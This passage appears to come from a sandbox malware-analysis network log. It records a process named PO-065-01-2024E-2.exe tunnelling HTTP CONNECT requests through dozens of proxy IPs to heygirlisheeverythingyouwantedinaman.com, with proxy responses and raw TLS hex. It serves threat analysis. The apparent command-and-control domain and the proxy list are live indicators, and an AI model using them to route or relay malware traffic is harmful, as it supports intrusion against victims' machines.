498	192.168.2.10	51539	24.249.199.12	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.034212112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
499	192.168.2.10	51069	92.204.134.38	30747	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.035984039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.598225117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.301652908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.559017897 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.879741907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.207866907 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
500	192.168.2.10	50813	39.165.0.137	9002	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.037868977 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.549869061 CET	311	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
501	192.168.2.10	51544	199.102.104.70	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.038203001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.598315954 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.301851988 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.559233904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
502	192.168.2.10	51497	8.222.152.158	55555	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.071365118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.414952040 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
503	192.168.2.10	51499	8.219.97.248	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.071429968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.420579910 CET	59	IN	HTTP/1.1 200 Connection Established Proxy-agent: nginx
Mar 11, 2024 16:39:46.421334028 CET	394	OUT	Data Raw: 16 03 03 01 85 01 00 01 81 03 03 65 ef 25 c1 98 f2 96 f5 66 8a f9 6d 6d 49 6d 23 5d 40 3d b0 d0 e6 71 7b df 97 7c ae ce f7 d1 23 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e%fmmIm#]@=q{\|#,+0/$#('=<5/.-+(heygirlisheeverythingyouwantedinaman.com#_(L_q9nzwSZ{'8Rx
Mar 11, 2024 16:39:46.776592016 CET	1286	IN	Data Raw: 16 03 03 00 43 02 00 00 3f 03 03 65 ef 25 c2 b5 7d 3f 51 71 de 3a 6b 2d 4a 10 71 dd 83 81 6b c6 3b 86 58 44 4f 57 4e 47 52 44 01 00 c0 2f 00 00 17 00 00 00 00 00 17 00 00 ff 01 00 01 00 00 0b 00 02 01 00 00 23 00 00 16 03 03 10 cb 0b 00 10 c7 00 Data Ascii: C?e%}?Qq:k-Jqk;XDOWNGRD/#00`4ZmQ0*H0F10UUS1"0 UGoogle Trust Services LLC10UGTS CA 1P50240212203110Z240512203109Z03110/
Mar 11, 2024 16:39:46.776623011 CET	1286	IN	Data Raw: 6d dd 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 03 82 01 01 00 1f 8b 40 68 93 64 2a 2d dc 07 bd 7a 5f 46 c4 ea f2 c8 d7 63 e0 4e cc 42 c7 44 46 d1 17 84 d3 1f 08 47 69 c2 b6 7f dd 9d a0 2d 9e 1b be 1f f8 19 ab ad d9 8d 7d 14 62 f3 40 cf 76 94 Data Ascii: m0H@hd-z_FcNBDFGi-}b@vwTJ;dm55inz74\|"@,+v?iS't;H%['rBuq,/aeYXhV
Mar 11, 2024 16:39:46.776722908 CET	1286	IN	Data Raw: 59 02 10 51 5c e3 c0 2b fd b7 06 48 51 7e 09 5e 3f 0f dc a7 fe 97 e7 79 c5 0e 44 89 78 c5 69 59 29 a0 9a 3a 48 36 29 a6 94 93 55 2d b8 47 b5 e9 96 b5 9f 07 cd a6 ab 3e 32 8a c0 86 83 c5 c1 41 c8 9f 2f 35 8e 0d c0 07 7a e1 ac c9 65 b5 cb 8a a7 dd Data Ascii: YQ\+HQ~^?yDxiY):H6)U-G>2A/5zeqae92>z6VWAmZ:ucitoL7(n c~+u<.rO6D#?Z]v](VfQQ{=0z$-KO?'>#ZB-z6=`9cxN!>\
Mar 11, 2024 16:39:46.776902914 CET	832	IN	Data Raw: 06 03 55 1d 23 04 18 30 16 80 14 60 7b 66 1a 45 0d 97 ca 89 50 2f 7d 04 cd 34 a8 ff fc fd 4b 30 60 06 08 2b 06 01 05 05 07 01 01 04 54 30 52 30 25 06 08 2b 06 01 05 05 07 30 01 86 19 68 74 74 70 3a 2f 2f 6f 63 73 70 2e 70 6b 69 2e 67 6f 6f 67 2f Data Ascii: U#0`{fEP/}4K0`+T0R0%+0http://ocsp.pki.goog/gsr10)+0http://pki.goog/gsr1/gsr1.crt02U+0)0'%#!http://crl.pki.goog/gsr1/gsr1.crl0;U 4020g0g0+y0+y0
Mar 11, 2024 16:39:46.778687000 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 10 28 f0 dc 5f af d8 32 c2 49 5a db b7 ab 28 bc cb b0 de 50 55 f8 77 8f 9e e2 2f 48 08 bc d7 3f 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 6a e4 2a b8 02 a4 e3 5b 01 c4 11 60 63 8a 13 f3 0f c4 84 dc 57 Data Ascii: %! (_2IZ(PUw/H?(j*[`cW@d~g
Mar 11, 2024 16:39:47.128254890 CET	258	IN	Data Raw: 16 03 03 00 ca 04 00 00 c6 00 00 fd 20 00 c0 fe da 02 3d 4a 01 14 c2 d9 2a 3d f5 f5 3b 09 eb a1 f5 da 0b 66 25 92 70 0d c1 8b fe 8f 7c 0e 09 dd e3 50 2b 01 68 c2 a6 d8 a0 59 47 fc 1c cf 72 f7 ac e3 63 82 88 f1 4a 4f a6 39 fa da 2b f0 a0 d4 93 0e Data Ascii: =J=;f%p\|P+hYGrcJO9+B(d:'l%C<T. [=q$2mOe_Wk]KFaga?y4C/+Dbo4\|(zIGa9
Mar 11, 2024 16:39:47.129033089 CET	277	OUT	Data Raw: 17 03 03 01 10 00 00 00 00 00 00 00 01 b8 d2 bc 9c fc 02 5c 37 e6 f0 6d be fd ac 6b bb e1 9e 6a 38 e3 f0 ae 51 da ad a5 2f 22 81 65 08 fd f1 06 1e a7 e1 a8 e1 9e b0 9b d6 ec 22 52 4d de c9 b9 b9 5e 88 71 13 b7 b2 df d5 96 91 82 57 fd cb eb 9b 93 Data Ascii: \7mkj8Q/"e"RM^qW.3kd{<MFwKDeBA/Lb 9MbpH'b_X^SNAJiT8L8mUh]B-UFWAzF:aK"Y
Mar 11, 2024 16:39:47.485671997 CET	1286	IN	Data Raw: 17 03 03 05 71 00 00 00 00 00 00 00 01 1a 96 9c ec 0d b8 0b 80 e1 77 3a a2 17 03 e7 5c e8 09 a0 5e 26 d0 21 d0 c5 75 fa ca 7a 02 e8 3b e7 dc ac c8 27 3b 6f aa c6 2d 00 73 3f d7 30 4a fa 00 f7 36 d6 7b 61 2e ba a2 a2 35 74 c3 37 d2 2b 06 ac 25 69 Data Ascii: qw:\^&!uz;';o-s?0J6{a.5t7+%iM8<\2nyqo7p2a'M^+x@K(OG/R':M<)p&86uwPF$[$g;C64=dQt&",)YygK@
Mar 11, 2024 16:39:47.485739946 CET	1286	IN	Data Raw: 66 62 23 5f 96 9e 3d 4c a1 c6 97 7e ff b7 ed b3 b2 31 b0 11 b3 81 6d 79 07 9f ee 71 01 b9 cd 1a 58 4d 08 5c 52 6e cd 45 f2 c6 b6 59 34 b9 fc 42 a8 f5 e9 19 96 98 aa 4e 93 bb 21 18 08 74 49 48 b3 bb fd 50 6d b6 a0 98 01 59 4d ca 25 33 a5 b9 f7 f7 Data Ascii: fb#_=L~1myqXM\RnEY4BN!tIHPmYM%3tr5J\|h_.Hq3&7BNfAW]SHy>$xObp$~P&$^EOp,;uz]:X}8y}g^5L/\6G]~1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
504	192.168.2.10	51086	138.68.60.8	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.076567888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.955451012 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
505	192.168.2.10	51575	104.17.210.9	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.076567888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.230789900 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:46 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
506	192.168.2.10	51543	72.195.34.60	27391	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.087771893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
507	192.168.2.10	51508	43.255.113.232	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.088870049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.10	51470	117.160.250.163	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.094166040 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.531737089 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 15:39:46 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.10	51538	65.109.211.101	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.099678993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.467915058 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.10	51523	116.106.105.55	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.107108116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.10	51577	44.226.167.102	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.112262011 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:46.304594994 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:46 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.10	51501	114.255.132.60	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.114463091 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:35.542983055 CET	1286	IN	HTTP/1.1 503 Service Unavailable Server: squid/3.5.27 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:40:26 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3918 X-Squid-Error: ERR_DNS_FAIL 0 Vary: Accept-Language Content-Language: en Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 37 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2017 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2017 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {marg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
513	192.168.2.10	51560	194.4.50.62	12334	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.117940903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
514	192.168.2.10	51773	43.134.167.223	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.126879930 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.10	51774	43.134.167.223	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.127664089 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.10	51776	43.134.167.223	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:46.128810883 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.10	51778	43.134.167.223	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
